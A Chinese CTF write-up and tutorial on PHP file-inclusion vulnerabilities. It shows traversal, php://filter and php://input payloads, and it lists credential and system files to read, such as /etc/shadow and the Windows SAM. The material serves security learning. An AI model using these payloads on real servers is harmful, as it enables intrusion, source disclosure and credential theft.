zoukankan      html  css  js  c++  java
  • include(文件包含漏洞,php伪协议)

    一道CTF题:

    点击tips:

    查看元素,也并没有有用的信息,联想到题目,include
    想起了文件包含漏洞。
    构造payload
    ?file=/../../../../../../flag.php

    没有返回东西。看完wq学到了一个新姿势:
    php伪代码

    https://segmentfault.com/a/1190000018991087
    https://www.freebuf.com/column/148886.html

    构造payload
    ?file=php://filter/read=convert.base64-encode/resource=flag.php
    使用 "php://filter"伪协议" 来进行包含。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。

    构造Payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

    这里需要注意的是使用php://filter伪协议进行文件包含时,需要加上read=convert.base64-encode来对文件内容进行编码

    发送请求得到base64编码后的flag.php文件源码:
    得到base64加密后的flag.php文件,丢去解密得到flag。

    文件包含漏洞

    文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
    `PHP中文件包含函数有以下四种:

    require()
    
    require_once()
    
    include()
    
    include_once()
    

    `

    示例代码

    如果服务器配置不当,可以目录跨越等等,传个../../../../../etc/passwd等等,可以查阅很多意外的文件。
    `windows常见文件:

    c:oot.ini // 查看系统版本
    
    c:windowssystem32inetsrvMetaBase.xml // IIS配置文件
    
    c:windows
    epairsam // 存储Windows系统初次安装的密码
    
    c:ProgramFilesmysqlmy.ini // MySQL配置
    
    c:ProgramFilesmysqldatamysqluser.MYD // MySQL root密码
    
    c:windowsphp.ini // php 配置信息
    

    linux常见文件:

    /etc/passwd // 账户信息
    
    /etc/shadow // 账户密码文件
    
    /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
    
    /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
    
    /usr/local/app/php5/lib/php.ini // PHP相关配置
    
    /etc/httpd/conf/httpd.conf // Apache配置文件
    
    /etc/my.conf // mysql 配置文件
    

    文件包含分本地文件包含和远程文件包含,本地文件包含就是利用服务器的配置不当访问服务器本地的文件,而远程文件包含是在

    allow_url_fopen = On(是否允许打开远程文件)
    
    allow_url_include = On(是否允许include/require远程文件)
    

    `
    以上两个字段为On时,此时允许服务器包含远程的服务器的文件,这时可以在远程服务器配置一个马.txt之类的,里面写上php代码,让靶机去包含它。

    【file://协议】

    PHP.ini:

    file:// 协议在双off的情况下也可以正常使用;

    allow_url_fopen :off/on

    allow_url_include:off/on

    file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

    使用方法:

    file:// [文件的绝对路径和文件名]

    http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

    【php://协议】

    条件:

    不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

    php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

    参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq

    php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

    PHP.ini:

    php://filter在双off的情况下也可以正常使用;

    allow_url_fopen :off/on

    allow_url_include:off/on

    测试现象:
    http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php


    测试现象:

    http://127.0.0.1/cmd.php?file=php://input
    
    [POST DATA] <?php phpinfo()?>
    

  • 相关阅读:
    POJ 2752 Seek the Name, Seek the Fame
    POJ 2406 Power Strings
    KMP 算法总结
    SGU 275 To xor or not to xor
    hihocoder 1196 高斯消元.二
    hihoCoder 1195 高斯消元.一
    UvaLive 5026 Building Roads
    HDU 2196 computer
    Notions of Flow Networks and Flows
    C/C++代码中的笔误
  • 原文地址:https://www.cnblogs.com/cmredkulaa/p/14008645.html
Copyright © 2011-2022 走看看